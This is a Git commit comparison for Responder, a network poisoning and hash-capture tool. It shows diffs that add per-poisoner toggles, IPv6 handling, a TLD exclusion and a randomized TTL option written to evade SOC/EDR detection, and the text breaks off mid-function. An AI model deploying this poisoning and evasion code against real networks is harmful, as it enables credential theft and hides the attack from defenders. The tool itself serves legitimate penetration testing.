Compare commits

...

22 Commits

Author SHA1 Message Date
lgandx
e918fe01c6 added option to disable a TLD due to windows 11 infinite loop with _dosvc 2024-09-24 11:06:50 -03:00
lgandx
538e6c0d0d Merge pull request #289 from brightio/patch-3
StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS
2024-09-11 17:04:14 -03:00
brightio
990df258a6 StartupMessage doesn't take into account the actual LLMNR, NBT-NS and MDNS status 2024-09-10 16:49:31 +02:00
lgandx
4947ae6e52 Added default mode for TTL option 2024-05-14 11:02:35 -03:00
lgandx
116a056e7d Listed all contributors over time. Thanks for your contribution to this project! 2024-05-08 10:14:11 -03:00
lgandx
d715f2de21 Updated Changelog 2024-05-08 09:41:44 -03:00
lgandx
64cf4d9873 minor fix 2024-05-06 09:56:02 -03:00
lgandx
ccbcd1736f minox typo fix 2024-05-06 09:24:06 -03:00
lgandx
413bc8be31 Fixed issue with smb signing detection 2024-05-06 09:16:36 -03:00
lgandx
bf25abfec8 Merge pull request #275 from nodauf/master
Random TTL value added to avoid some EDR detections
2024-05-06 07:33:27 -03:00
lgandx
06b33edc27 Merge pull request #276 from f3rn0s/master
Add options for poisoners
2024-05-06 07:10:32 -03:00
f3rn0s
807bd57a96 Add options for poisoners 2024-04-30 15:52:04 +10:00
nodauf
f50f0be59c Add randomness in TTL value to avoid some EDR detections 2024-04-02 16:42:09 +02:00
lgandx
1a2f2fdb22 added support for either resolv.conf or resolvectl 2024-01-06 15:01:43 -03:00
lgandx
e51f24e36c fixed minor bug 2024-01-06 13:48:41 -03:00
lgandx
fa297c8a16 Fixed bug when IPv6 is disabled via GRUB. 2024-01-06 12:44:38 -03:00
lgandx
44bfd1d221 DNS dump updated + removed var dump info on Config-Responder.log 2024-01-06 09:19:10 -03:00
lgandx
66e5b12c56 Updated changelog 2024-01-06 07:15:50 -03:00
lgandx
4b560f6e17 removed debug string 2024-01-04 20:44:13 -03:00
lgandx
e564e5159b removed bowser listener 2024-01-04 20:37:45 -03:00
lgandx
4b14455bdc minor fix on ldap 2024-01-04 19:50:16 -03:00
lgandx
ee5ab9a5fd default -> py3 2024-01-04 19:04:15 -03:00
16 changed files with 958 additions and 516 deletions

File diff suppressed because it is too large Load Diff

76
Contributors Normal file
View File

@@ -0,0 +1,76 @@
Commits | user
15 @jrmdev
7 @nobbd
6 @ValdikSS
6 @also-here
5 @HexPandaa
5 @exploide
5 @jvoisin
4 @Clément Notin
4 @Shutdown
4 @Yannick Méheut
3 @Hank Leininger
3 @brightio
3 @byt3bl33d3r
3 @myst404
3 @skelsec
2 @Alexandre ZANNI
2 @Crypt0-M3lon
2 @Laban Sköllermark
2 @Matthew Daley
2 @Pixis
2 @Rob Fuller
2 @ThePirateWhoSmellsOfSunflowers
2 @Vincent Yiu
2 @requin
1 @Andrii Nechytailov
1 @Antonio Herraiz
1 @Chris Maddalena
1 @Euan
1 @Garret Picchioni
1 @Gifts
1 @Gustaf Blomqvist
1 @Hubert Seiwert
1 @IMcPwn
1 @Jared Haight
1 @Jim Shaver
1 @Khiem Doan
1 @Leon Jacobs
1 @Lionel PRAT
1 @Markus
1 @MatToufoutu
1 @Matt
1 @Matt Andreko
1 @Matt Kelly
1 @Nikos Vassakis
1 @OJ
1 @Paul A
1 @Randy Ramos
1 @SAERXCIT
1 @Sagar-Jangam
1 @Sans23
1 @Sophie Brun
1 @Stephen Shkardoon
1 @Syntricks
1 @Timon Hackenjos
1 @Tom Aviv
1 @Ziga P
1 @cweedon
1 @deltronzero
1 @f3rn0s
1 @jackassplus
1 @jb
1 @kevintellier
1 @kitchung
1 @klemou
1 @lanjelot
1 @nickyb
1 @nodauf
1 @nop5L3D
1 @pixis
1 @ravenium
1 @soa
1 @steven
1 @thejosko
1 @trustedsec

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com

View File

@@ -1,24 +1,29 @@
[Responder Core]
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = On
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Custom challenge.
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
@@ -53,9 +58,13 @@ RespondToName =
DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS
; Example: DontRespondToName = NAC, IPS, IDS
DontRespondToName = ISATAP
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
DontRespondToTLD = _dosvc
; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off
@@ -65,8 +74,8 @@ AutoIgnoreAfterSuccess = Off
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On

View File

@@ -45,6 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -69,6 +70,8 @@ settings.Config.ExpandIPRanges()
#Create the DB, before we start Responder.
CreateResponderDb()
Have_IPv6 = settings.Config.IPv6
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@@ -78,10 +81,12 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
UDPServer.server_bind(self)
@@ -95,10 +100,12 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
TCPServer.server_bind(self)
@@ -112,10 +119,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
@@ -131,11 +140,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
#IPV6:
if (sys.version_info > (3, 0)):
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -143,10 +154,12 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
UDPServer.server_bind(self)
@@ -160,8 +173,9 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if Have_IPv6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -169,29 +183,36 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6
if Have_IPv6:
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
@@ -274,20 +295,27 @@ def main():
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
from poisoners.LLMNR import LLMNR
from poisoners.NBTNS import NBTNS
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.LLMNR_On_Off:
from poisoners.LLMNR import LLMNR
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
if settings.Config.NBTNS_On_Off:
from poisoners.NBTNS import NBTNS
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
if settings.Config.MDNS_On_Off:
from poisoners.MDNS import MDNS
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
#// Vintage Responder BOWSER module, now disabled by default.
#// Generate to much noise & easily detectable on the network when in analyze mode.
# Load Browser Listener
from servers.Browser import Browser
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
#from servers.Browser import Browser
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP

View File

@@ -52,7 +52,7 @@ class NBT_Ans(Packet):
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
@@ -263,7 +263,7 @@ class LLMNR_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -316,7 +316,7 @@ class MDNS_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -338,7 +338,7 @@ class MDNS6_Ans(Packet):
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
@@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionHigh", "\x0a"),
("NegTokenInitSeqMechMessageVersionLow", "\x00"),
("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),

View File

@@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_LLMNR_Name(data):
import codecs
NameLen = data[12]
@@ -73,7 +76,11 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
})
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
@@ -86,8 +93,12 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'AnalyzeMode': '0',
})
elif LLMNRType == 'IPv6':
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:

View File

@@ -23,6 +23,9 @@ else:
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data):
try:
if (sys.version_info > (3, 0)):
@@ -70,7 +73,11 @@ class MDNS(BaseRequestHandler):
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
@@ -82,9 +89,13 @@ class MDNS(BaseRequestHandler):
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6': # Poisoning Mode
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:

View File

@@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = NBT_Ans()
if settings.Config.TTL == None:
Buffer1 = NBT_Ans()
else:
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:

View File

@@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3":
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
@@ -65,14 +68,14 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
@@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))

View File

@@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler):
except:
self.request.close()
raise
pass

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.1.4.0'
__version__ = 'Responder 3.1.5.0'
class Settings:
@@ -114,7 +114,12 @@ class Settings:
# Config parsing
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Poisoners
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
@@ -168,6 +173,25 @@ class Settings:
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
if options.TTL is None:
self.TTL = None
# Random TTL
elif options.TTL.upper() == "RANDOM":
TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
if TTL in TTL_blacklist:
TTL = int.from_bytes(TTL, "big")+1
TTL = int.to_bytes(TTL, 4)
self.TTL = TTL.decode('utf-8')
else:
self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
#Do we have IPv6 for real?
self.IPv6 = utils.Probe_IPv6_socket()
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
@@ -260,6 +284,7 @@ class Settings:
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
self.DontRespondToTLD = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
#add a .local to all provided DontRespondToName
self.MDNSTLD = ['.LOCAL']
@@ -332,10 +357,12 @@ class Settings:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
except:
p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
DNS = p.stdout.read()
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
@@ -348,7 +375,7 @@ class Settings:
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
#utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print("Missing Module:", ex)
pass

View File

@@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
def SMB2SigningMandatory(data):
global SMB2signing
if data[70:71] == b"\x03":
if data[70:71] == "\x03":
SMB2signing = "True"
else:
SMB2signing = "False"
@@ -123,7 +123,7 @@ def WorkstationFingerPrint(data):
b"\x06\x01" :"Windows 7/Server 2008R2",
b"\x06\x02" :"Windows 8/Server 2012",
b"\x06\x03" :"Windows 8.1/Server 2012R2",
b"\x0A\x00" :"Windows 10/Server 2016/2019 (check build)",
b"\x0A\x00" :"Windows 10/Server 2016/2022 (check build)",
}.get(data, 'Other than Microsoft')
def GetOsBuildNumber(data):
@@ -201,7 +201,7 @@ def IsDCVuln(t, host):
#####################
def IsSigningEnabled(data):
if data[39:40] == b"\x0f":
if data[39:40] == "\x0f":
return 'True'
else:
return 'False'
@@ -251,7 +251,6 @@ def DomainGrab(Host):
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data)
except IOError as e:
@@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host):
if not data:
break
except Exception:
pass
return False
else:
return False

View File

@@ -1,4 +1,5 @@
import random, struct, sys
import random, struct, sys, os
from os import urandom
from socket import *
from time import sleep
from odict import OrderedDict
@@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
("SecurityMode", "\x01\x00"),
("Reserved","\x00\x00"),
("Capabilities","\x00\x00\x00\x00"),
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
("ClientGUID", urandom(16).decode('latin-1')),
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
("Dialect1","\x02\x02"),
("Dialect2","\x10\x02"),

View File

@@ -122,7 +122,10 @@ def RespondToThisIP(ClientIp):
return False
def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
return False
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
return False
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName:
@@ -219,7 +222,17 @@ def FindLocalIP(Iface, OURIP):
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def Probe_IPv6_socket():
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
if not socket.has_ipv6:
return False
try:
